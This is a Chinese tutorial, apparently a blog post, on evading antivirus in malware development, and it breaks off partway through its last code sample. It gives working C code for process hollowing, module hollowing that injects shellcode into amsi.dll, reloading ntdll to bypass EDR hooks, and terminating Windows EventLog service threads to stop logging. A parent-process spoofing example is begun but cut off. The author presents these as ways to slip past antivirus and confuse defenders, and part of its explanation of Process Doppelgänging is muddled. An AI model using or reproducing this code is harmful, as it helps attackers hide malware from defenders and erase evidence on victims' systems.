前言 写这个文章呢,主要是写一些免杀中,或者是其他恶意代码开发中,可能会用到的一些手段和手法,因为内容有点偏杂,并且没办法聚合起来形成一个单独的模块,所以就把这些放到一起来讲了。也希望兄弟们,不要嫌弃。
傀儡进程 简单介绍 傀儡进程(Process Hollowing)
傀儡进程是一种相对较老的技术,其基本思想是创建一个合法的、挂起的进程,然后用恶意代码替换其内存空间,最后恢复进程的执行。
工作原理:
创建挂起进程: 恶意软件会创建一个合法的进程(例如 explorer.exe 或 svchost.exe)并使其处于挂起状态。
卸载原有代码: 使用 NtUnmapViewOfSection 或 ZwUnmapViewOfSection 等API,将合法进程的原始代码段从内存中卸载。
分配新内存: 在合法进程的内存空间中分配一块新的、可执行的内存区域。
写入恶意代码: 将恶意代码写入新分配的内存区域。
修改进程上下文: 修改合法进程的线程上下文(例如 EAX 或 RIP 寄存器),使其指向恶意代码的入口点。
恢复进程: 恢复合法进程的执行,此时它将执行恶意代码而不是原始代码。
特点:
内存操作: 主要通过直接操作进程内存来实现。
API调用: 涉及 CreateProcess (带 CREATE_SUSPENDED 标志), NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread 等API。
检测难度: 相对容易被现代EDR(Endpoint Detection and Response)和AV(Antivirus)检测到,因为内存中会出现可疑的内存区域(例如,一个合法进程的.text段被卸载,然后被替换成其他内容)。
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <Windows.h> #include <stdio.h> unsigned char buf[] = "" ;BOOL ReplaceProcess(const char * pszFilePath) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT threadContext = { 0 }; BOOL bRet = FALSE ; RtlZeroMemory(&si, sizeof (si)); RtlZeroMemory(&pi, sizeof (pi)); RtlZeroMemory(&threadContext, sizeof (threadContext)); si.cb = sizeof (si); bRet = CreateProcessA(pszFilePath, NULL , NULL , NULL , FALSE , CREATE_SUSPENDED, NULL , NULL , &si, &pi); if (FALSE == bRet) { printf("CreateProcess" ); return FALSE ; } LPVOID lpDestBaseAddr = VirtualAllocEx(pi.hProcess, NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpDestBaseAddr) { printf("VirtualAllocEx" ); return FALSE ; } bRet = WriteProcessMemory(pi.hProcess, lpDestBaseAddr, buf, sizeof (buf), NULL ); if (FALSE == bRet) { printf("WriteProcessError" ); return FALSE ; } threadContext.ContextFlags = CONTEXT_FULL; bRet = GetThreadContext(pi.hThread, &threadContext); if (FALSE == bRet) { printf("GetThreadContext" ); return FALSE ; } threadContext.Rip = (DWORD64)lpDestBaseAddr; bRet = SetThreadContext(pi.hThread, &threadContext); if (FALSE == bRet) { printf("SetThreadContext" ); return FALSE ; } ResumeThread(pi.hThread); WaitForSingleObject(pi.hThread, INFINITE); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return TRUE ; }void main() { ReplaceProcess("C:\\Windows\\System32\\notepad.exe" ); }
我们可以在Process Hacker中看到进程链条
以及有迷惑的样子了,后面还有些手法配合使用,可以迷惑蓝队的排查工作。
看看免杀性
很简单就过了火绒静态。360和其他就不测试了,开虚拟机比较麻烦,再加上这种手法已经出现了很久了,单一的使用肯定不能免杀。
进程镂空 简单介绍 进程镂空(Process Doppelgänging)
进程镂空是一种较新的技术,它利用了Windows事务性NTFS(Transactional NTFS,TxF)的特性,通过回滚文件事务来避免在磁盘上留下痕迹。
主要思想是卸载合法进程的内存,写入恶意软件的代码,伪装成合法进程进行恶意活动
“在启动过程中添加暂停”。在暂停期间,攻击者可以删除程序可执行文件中的合法代码,并将其替换为恶意代码。这被称为空心化。当启动进程恢复时,它会在继续正常运行之前执行攻击者的代码。从本质上讲,进程挖空允许攻击者将合法的可执行文件转换为看似可信的恶意容器。而且恶意代码还可以从磁盘中删除自身的痕迹以避免被识别,这种策略让反恶意软件很难检测。
工作原理:
创建事务: 恶意软件会使用 CreateTransaction API创建一个NTFS事务。
在事务中修改文件: 在这个事务中,恶意软件会打开一个合法的可执行文件(例如 explorer.exe),并将其内容替换为恶意代码。
创建进程: 使用 NtCreateProcessEx 或 CreateProcess (带 CREATE_SUSPENDED 标志) 从这个被修改的文件(但仍在事务中)创建进程。由于进程是在事务中创建的,此时磁盘上的文件实际上并没有被永久修改。
回滚事务: 在进程创建后,恶意软件会回滚NTFS事务。这意味着磁盘上的文件会恢复到原始状态,仿佛从未被修改过一样。
恢复进程: 恢复进程的执行,此时它将执行恶意代码。
特点:
利用NTFS事务: 这是其核心特点,通过事务的回滚来避免在磁盘上留下恶意文件的痕迹。
API调用: 涉及 CreateTransaction, CreateFileTransacted, NtCreateProcessEx 或 CreateProcess (带 CREATE_SUSPENDED 标志), RollbackTransaction 等API。
检测难度:
比傀儡进程更难检测,因为:
磁盘上的文件在进程创建后会恢复原样,文件完整性检查很难发现异常。
进程创建时,文件内容是恶意代码,但由于是在事务中,安全软件可能无法及时捕获到这种瞬时变化。
内存中的进程看起来是一个合法的进程,但其代码实际上是恶意的。
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 #include <stdio.h> #include <Windows.h> typedef NTSTATUS (NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID); int main (int argc, wchar_t* argv[]) { IN PIMAGE_DOS_HEADER pDosHeaders; IN PIMAGE_NT_HEADERS pNtHeaders; IN PIMAGE_SECTION_HEADER pSectionHeaders; IN PVOID FileImage; IN HANDLE hFile; OUT DWORD FileReadSize; IN DWORD dwFileSize; IN PVOID RemoteImageBase; IN PVOID RemoteProcessMemory; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; si.cb = sizeof (si); char path[] = "C:\\HelloWorld.exe" ; BOOL bRet = CreateProcessA ( NULL , (LPSTR)"cmd" , NULL , NULL , FALSE, CREATE_SUSPENDED, NULL , NULL , &si, &pi ); hFile = CreateFileA (path, GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, 0 , NULL ); dwFileSize = GetFileSize (hFile, NULL ); FileImage = VirtualAlloc (NULL , dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile (hFile, FileImage, dwFileSize, &FileReadSize, NULL ); CloseHandle (hFile); pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); GetThreadContext (pi .hThread, &ctx); #ifdef _WIN64 ReadVirtualMemory (pi .hProcess, (PVOID)(ctx.Rdx + (sizeof (SIZE_T) * 2 )), &RemoteImageBase, sizeof (PVOID), NULL ); #endif #ifdef _X86_ ReadProcessMemory (pi .hProcess, (PVOID)(ctx.Ebx + 8 ), &RemoteImageBase, sizeof (PVOID), NULL );#endif pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress (GetModuleHandleA ("ntdll.dll" ), "NtUnmapViewOfSection" ); if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase) { NtUnmapViewOfSection (pi .hProcess, RemoteImageBase); } RemoteProcessMemory = VirtualAllocEx (pi .hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory (pi .hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL ); for (int i = 0 ; i < pNtHeaders->FileHeader.NumberOfSections; i++) { pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof (IMAGE_NT_HEADERS) + (i * sizeof (IMAGE_SECTION_HEADER))); WriteProcessMemory (pi .hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL ); } #ifdef _WIN64 ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory (pi .hProcess, (PVOID)(ctx.Rdx + (sizeof (SIZE_T) * 2 )), &pNtHeaders->OptionalHeader.ImageBase, sizeof (PVOID), NULL );#endif #ifdef _X86_ ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory (pi .hProcess, (PVOID)(ctx.Ebx + (sizeof (SIZE_T) * 2 )), &pNtHeaders->OptionalHeader.ImageBase, sizeof (PVOID), NULL );#endif SetThreadContext (pi .hThread, &ctx); ResumeThread (pi .hThread); CloseHandle (pi .hThread); CloseHandle (pi .hProcess); return 0 ; }
我们根据cs上面的线程PID 13128 在Process Hacker中看到,没有父子进程。这也能看出来这和傀儡进程的区别了。傀儡进程是创建一个进程再放入shellcode代码,而进程镂空是将已经运行的进程进行空心化处理,再放入程序
模块镂空 简单介绍 模块镂空(dll hollowing)也是一种shellcode注入技术,原理和思路与process hollowing类似,通过合法的模块信息来伪装恶意代码,虽然我们可以用远程dll注入来完整注入整个恶意dll,但此类注入往往比较容易检测,我们需要往受害者主机上传入一个恶意dll,这样杀毒软件可以通过监控入windows/temp/等目录实现对远程dll注入的拦截,而模块镂空就不会存在这样的风险,因为我们镂空的往往是一个带有微软签名的dll,为了防止进程出错,我们并不能直接镂空一个进程空间中已存在的dll,需要先对目标进程远程注入一个系统合法dll,然后再镂空它,这样我们就获得了一个和windows模块相关联的shellcode环境
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 #include <iostream> #include <Windows.h> #include <psapi.h> int main(int argc, char * argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll" ; HMODULE modules[256 ] = {}; SIZE_T modulesSize = sizeof (modules); DWORD modulesSizeNeeded = 0 ; DWORD moduleNameSize = 0 ; SIZE_T modulesCount = 0 ; CHAR remoteModuleName[128 ] = {}; HMODULE remoteModule = NULL ; unsigned char shellcode[] = "" ; processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE , 3488 ); remoteBuffer = VirtualAllocEx(processHandle, NULL , sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL ); PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32" )), "LoadLibraryW" ); HANDLE dllThread = CreateRemoteThread(processHandle, NULL , 0 , threadRoutine, remoteBuffer, 0 , NULL ); WaitForSingleObject(dllThread, 1000 ); EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded); modulesCount = modulesSizeNeeded / sizeof (HMODULE); for (size_t i = 0 ; i < modulesCount; i++) { remoteModule = modules[i]; GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof (remoteModuleName)); if (std::string(remoteModuleName).compare("amsi.dll" ) == 0 ) { std::cout << remoteModuleName << " at " << modules[i]; break ; } } DWORD headerBufferSize = 0x1000 ; LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL ); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule); std::cout << ", entryPoint at " << dllEntryPoint; WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof (shellcode), NULL ); CreateRemoteThread(processHandle, NULL , 0 , (PTHREAD_START_ROUTINE)dllEntryPoint, NULL , 0 , NULL ); return 0 ; }
优点:
不需要分配 RWX 内存页面或更改其在目标进程中的权限
Shellcode 被注入到合法的 Windows DLL 中,因此寻找从 c:\temp\ 等奇怪位置加载的 DLL 的检测将不起作用
执行 shellcode 的远程线程与合法的 Windows 模块相关联
重载dll进行脱钩 简单介绍 载入第二个Ntdll绕Hook | idiotc4t’s blog
核心概念:什么是 Hook? 在理解脱钩之前,我们得先明白什么是“钩子”(Hook)。想象一下,你有一扇门,门上有一个门铃。正常情况下,你按门铃,门铃就会响。
在计算机世界里,这个“门铃”就是操作系统提供的各种函数(API),特别是那些底层的系统调用。当你程序想“打开一个文件”或“分配一块内存”时,它会调用像 NtCreateFile 或 NtAllocateVirtualMemory 这样的系统 API。
Hooking 就是通过修改这些 API 函数在内存中的起始代码,让它们不再直接执行原始逻辑,而是先跳转到我们预设的“拦截器”代码。
ntdll.dll:操作系统的“直通车”ntdll.dll 是 Windows 操作系统中一个非常特殊的动态链接库(DLL)。它不是普通的 DLL,而是用户模式应用程序通往内核模式(操作系统核心)的“直通车”。
它包含了大量底层、未经微软官方文档完全公开的 Native API (或称 NT API )。
这些 API 是许多高级操作的最终执行者,例如文件操作、进程管理、内存分配等。
几乎所有 Win32 API(我们平时用的 CreateFile、VirtualAlloc 等)最终都会通过层层调用,抵达 ntdll.dll 中的某个 Native API。
正因为 ntdll.dll 如此核心,它就成了攻击者和安全软件都喜欢 Hook 的目标。恶意软件可能 Hook NtCreateFile 来隐藏它创建的文件,安全软件可能 Hook NtWriteVirtualMemory 来阻止恶意代码写入关键内存区域。
脱钩(Unhooking):恢复“门铃”的正常功能 脱钩的目的很简单:移除 Hook,让被修改的 API 函数恢复到它原始的、未被篡改的状态。 就像把门铃上的拦截器拆掉,让按门铃直接导致门铃响。
“重载 ntdll.dll 脱钩” 的原理:以假乱真,以新换旧 这个手法的核心思想是:当前进程内存中加载的 ntdll.dll 可能已经被 Hook 了,那么我们去磁盘上找一份原始的、干净的 ntdll.dll 文件,把它重新加载到内存的另一个地方,然后用这份干净副本中的函数代码,去覆盖当前进程中被 Hook 的函数代码。
我们来一步步拆解:
发现异常:
我们的程序运行着,但发现某些系统调用行为异常,或者安全软件检测到有 Hook 存在。
或者,我们主动去检查 ntdll.dll 中关键函数的起始字节,发现它们被修改了(比如,不再是正常的函数开头指令,而是一个 JMP 跳转指令)。
寻找“真理”:获取原始 ntdll.dll 副本:
“狸猫换太子”:恢复函数代码:
现在我们有了“旧的”被 Hook 的 ntdll.dll(在进程的某个基地址),以及“新的”干净的 ntdll.dll(在另一个基地址)。
定位函数:
对于我们想要脱钩的函数(例如 NtCreateFile),我们首先在“旧的” ntdll.dll 中找到它的内存地址。
然后,我们在“新的” ntdll.dll 副本中找到 NtCreateFile 对应的原始代码的内存地址。由于 ASLR (地址空间布局随机化),这两个 ntdll.dll 的基地址可能不同,但函数相对于其所在 DLL 基地址的 偏移量 是相同的。所以,我们可以通过计算偏移量来找到对应的函数。
修改内存权限:
被 Hook 的函数代码通常位于可执行内存区域,默认是只读的。我们需要使用 VirtualProtect 函数,暂时将这块内存区域的权限修改为可写 (PAGE_EXECUTE_READWRITE)。
字节覆盖:
将“新的” ntdll.dll 副本中 NtCreateFile 函数的原始字节(通常是 Hooking 篡改的开头几个字节,或者整个函数体,取决于 Hook 的复杂程度)复制到“旧的” ntdll.dll 中 NtCreateFile 函数的地址上。
恢复内存权限:
使用 VirtualProtect 将内存权限恢复到原始状态(通常是 PAGE_EXECUTE_READ)。
刷新指令缓存:
调用 FlushInstructionCache 函数。这是非常重要的一步,它告诉 CPU 丢弃缓存中旧的指令,重新从内存中加载最新的指令。这样,CPU 才能执行我们刚刚恢复的原始代码。
总结: “重载 ntdll.dll 脱钩”就是利用 Windows 允许进程加载多个相同 DLL 文件的特性,通过加载一份原始的 ntdll.dll 副本,然后用这份副本中的干净代码去覆盖当前进程中被 Hook 的 ntdll.dll 中的函数代码,从而恢复系统 API 的正常功能。
优缺点: 优点:
有效对抗用户模式 Hook: 对于大多数在用户模式下对 ntdll.dll 进行的 Hooking(例如通过修改函数开头指令),这种方法非常有效。
相对通用: 不依赖于特定的 Hooking 技术,只要能获取到原始代码,就能恢复。
缺点:
无法对抗内核模式 Hook: 这种方法只在用户模式下操作进程内存。如果 Hook 发生在内核模式(例如通过修改 SSDT 或内核驱动),用户模式的脱钩是无能为力的。
时机敏感: 如果在脱钩代码执行之前,脱钩代码本身所依赖的 ntdll.dll 函数已经被 Hook,那么脱钩操作可能无法正确执行。
内存开销: 重新加载 ntdll.dll 会在进程中额外占用一份 ntdll.dll 的内存空间。
复杂 Hooking: 对于那些不只是修改函数开头,而是修改函数内部逻辑或数据结构的复杂 Hook,简单的字节覆盖可能不够。
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #include <Windows.h> #include <stdio.h> #define DEREF( name )*(UINT_PTR *)(name) #define DEREF_64( name )*(DWORD64 *)(name) #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #define DEREF_8( name )*(BYTE *)(name) typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName) { UINT_PTR uiLibraryAddress = 0 ; FARPROC fpResult = NULL ; if (hModule == NULL ) return NULL ; uiLibraryAddress = (UINT_PTR )hModule; __try { UINT_PTR uiAddressArray = 0 ; UINT_PTR uiNameArray = 0 ; UINT_PTR uiNameOrdinals = 0 ; PIMAGE_NT_HEADERS pNtHeaders = NULL ; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL ; PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL ; pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); if (((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) { uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof (DWORD)); fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); } else { DWORD dwCounter = pExportDirectory->NumberOfNames; while (dwCounter--) { char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray)); if (strcmp(cpExportedFunctionName, lpProcName) == 0 ) { uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof (DWORD)); fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); break ; } uiNameArray += sizeof (DWORD); uiNameOrdinals += sizeof (WORD); } } } __except (EXCEPTION_EXECUTE_HANDLER) { fpResult = NULL ; } return fpResult; }int main() { HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll" , GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, 0 , NULL ); HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL , PAGE_READONLY | SEC_IMAGE, 0 , 0 , NULL ); LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0 , 0 , 0 ); pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddressR((HMODULE)lpNtdllmaping, "NtAllocateVirtualMemory" ); int err = GetLastError(); LPVOID Address = NULL ; SIZE_T uSize = 0x1000 ; NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0 , &uSize, MEM_COMMIT, PAGE_READWRITE); return 0 ; };
ring3层重写api 绕过hook 简单介绍 这个手法和重载ntdll一样的都是为了绕过杀软的hook,具体介绍可以看这个大佬的文章
重写ring3 API函数 作者:一天https://xz.aliyun.com/news/17323 文章转载自 先知社区
动态获取API(隐藏IAT导入表) 简单介绍 动态获取API函数(又称隐藏IAT)实现免杀 作者:一天 https://xz.aliyun.com/news/17170 文章转载自 先知社区
还是这个我最喜欢的博主,先知社区的大佬。
Windows 日志绕过 简单介绍 通常在红队行动中,面临的最大挑战并不是诸如杀毒、EDR之类的防护软件,红队行动中工具&代码的杀毒绕过只是事前工作(基本功),所以攻击者使用的工具&代码往往在本地就比较完备的完成了免杀工作,在这样的背景下,如何让工具尽可能少的留下痕迹就成为了红队成员首要解决的问题。
windows系统本身会记录一些较为特殊的操作,如登录、注销,而实现这部分功能通常是由windows自生的服务实现,windows 系统服务主要由svchost.exe进程进行启动和管理,所以识别并结束EventLog的服务线程,从而可以达到绕过windows的日志记录
具体实现 定位到EventLog服务对应的进程
1.可以通过遍历系统所有进程的commandline是否带有eventlog服务名来进行识别
2.通过调用wmi接口来识别
可以看到这个进程就是拿来进行日志记录的,我们遍历进程,通过命令行参数,就可以定位到日志记录的进程,然后结束掉他就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 #include <Windows.h> #include <tchar.h> #include <stdio.h> #include <winternl.h> #include <Tlhelp32.h> #include <string.h> #include <strsafe.h> #pragma comment(lib, "ntdll.lib" ) typedef long NTSTATUS;typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS exitStatus; PVOID pTebBaseAddress; CLIENT_ID clientId; KAFFINITY AffinityMask; int Priority; int BasePriority; int v; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;typedef enum _SC_SERVICE_TAG_QUERY_TYPE { ServiceNameFromTagInformation = 1 , ServiceNameReferencingModuleInformation, ServiceNameTagMappingInformation, } SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;typedef struct _SC_SERVICE_TAG_QUERY { ULONG processId; ULONG serviceTag; ULONG reserved; PVOID pBuffer; } SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);BOOL CheckEventProcess(DWORD ProcessId) { BOOL result = 0 ; PROCESS_BASIC_INFORMATION pbi = { 0 }; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false , ProcessId); if (!hProcess) { return false ; } DWORD status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)0 , &pbi, sizeof (PVOID) * 6 , NULL ); PPEB ppeb = (PPEB)((PVOID*)&pbi)[1 ]; PEB pebdata = { 0 }; ReadProcessMemory(hProcess, ppeb, &pebdata, sizeof (PEB), NULL ); PRTL_USER_PROCESS_PARAMETERS prtlp = (&pebdata)->ProcessParameters; RTL_USER_PROCESS_PARAMETERS rtlp = { 0 }; ReadProcessMemory(hProcess, prtlp, &rtlp, sizeof (RTL_USER_PROCESS_PARAMETERS), NULL ); PWSTR lpBuffer = (PWSTR)(&rtlp)->CommandLine.Buffer; USHORT len = (USHORT)(&rtlp)->CommandLine.Length; LPWSTR lpStrings = (LPWSTR)malloc(len); ZeroMemory(lpStrings, len); ReadProcessMemory(hProcess, lpBuffer, lpStrings, len, NULL ); if (wcsstr(lpStrings, L"EventLog" )) { result = true ; } free(lpStrings); return result; } DWORD GetEventLogProcessId() { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0 ); if (INVALID_HANDLE_VALUE == hSnapshot) { return 0 ; } DWORD logpid = 0 ; PROCESSENTRY32W pe32 = { 0 }; pe32.dwSize = sizeof (PROCESSENTRY32W); BOOL bRet = Process32FirstW(hSnapshot, &pe32); while (bRet) { if (CheckEventProcess(pe32.th32ProcessID)) { logpid = pe32.th32ProcessID; CloseHandle(hSnapshot); return logpid; } bRet = Process32NextW(hSnapshot, &pe32); } CloseHandle(hSnapshot); return 0 ; }BOOL CheckAndFuckEventProcess(DWORD processId, DWORD threadId, PULONG pServiceTag) { ; HANDLE hProcess = NULL ; HANDLE hThread = NULL ; HANDLE hTag = NULL ; HMODULE advapi32 = NULL ; THREAD_BASIC_INFORMATION tbi = { 0 }; pI_QueryTagInformation I_QueryTagInformation = NULL ; pNtQueryInformationThread NtQueryInformationThread = NULL ; SC_SERVICE_TAG_QUERY tagQuery = { 0 }; WCHAR Buffer[MAX_PATH] = { 0 }; NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandleW(L"ntdll.dll" ), "NtQueryInformationThread" ); hThread = OpenThread(THREAD_ALL_ACCESS, FALSE , threadId); NtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS)0 , &tbi, 0x30 , NULL ); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE , processId); ReadProcessMemory(hProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720 ), &hTag, sizeof (HANDLE), NULL ); advapi32 = LoadLibraryW(L"advapi32.dll" ); I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation" ); tagQuery.processId = processId; tagQuery.serviceTag = (ULONG)hTag; I_QueryTagInformation(NULL , ServiceNameFromTagInformation, &tagQuery); if (tagQuery.pBuffer != 0 ) { StringCbCopyW(Buffer, MAX_PATH, (PCWSTR)tagQuery.pBuffer); } else { CloseHandle(hProcess); CloseHandle(hThread); FreeLibrary(advapi32); return 0 ; } if (!wcscmp(Buffer, L"EventLog" )) { TerminateThread(hThread, 0 ); wprintf((WCHAR*)L"%d %s\n" , threadId, Buffer); } LocalFree(tagQuery.pBuffer); CloseHandle(hProcess); CloseHandle(hThread); FreeLibrary(advapi32); return 1 ; }int main() { DWORD dwPid; dwPid = GetEventLogProcessId(); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0 ); if (INVALID_HANDLE_VALUE == hSnapshot) { return 0 ; } THREADENTRY32 te32 = { 0 }; te32.dwSize = sizeof (THREADENTRY32); BOOL bRet = Thread32First(hSnapshot, &te32); while (bRet) { if (te32.th32OwnerProcessID == dwPid) { CheckAndFuckEventProcess(dwPid, te32.th32ThreadID, NULL ); } bRet = Thread32Next(hSnapshot, &te32); } CloseHandle(hSnapshot); return 0 ; }
当然这也只是ring3层的日志欺骗,还有更核心的一个机制ETW会记录操作的痕迹,后面再讲绕过。
父进程欺骗 简单介绍 我们可以自己指定父进程,以增加判断成本从而使蓝队脑阔疼。
使用CreateProcess函数创建新进程时可以通过UpdateProcThreadAttribute( )函数人为修改STARTUPINFOEXA结构体的lpAttributeList成员变量值来指定子进程的父进程
当然也是ring3层的,面对监控内核层的工具,还是一样被发现。
代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <stdio.h> #include <windows.h> #include <TlHelp32.h> DWORD FindExplorerPID () { HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof (process); if (Process32First (snapshot, &process)) { do { if (!wcscmp (process.szExeFile, L"explorer.exe" )) break ; } while (Process32Next (snapshot, &process)); } CloseHandle (snapshot); return process.th32ProcessID; }int main () { unsigned char shellcode[] = "" ; STARTUPINFOEXA siex; ZeroMemory (&siex, sizeof (STARTUPINFOEXA)); PROCESS_INFORMATION piex; 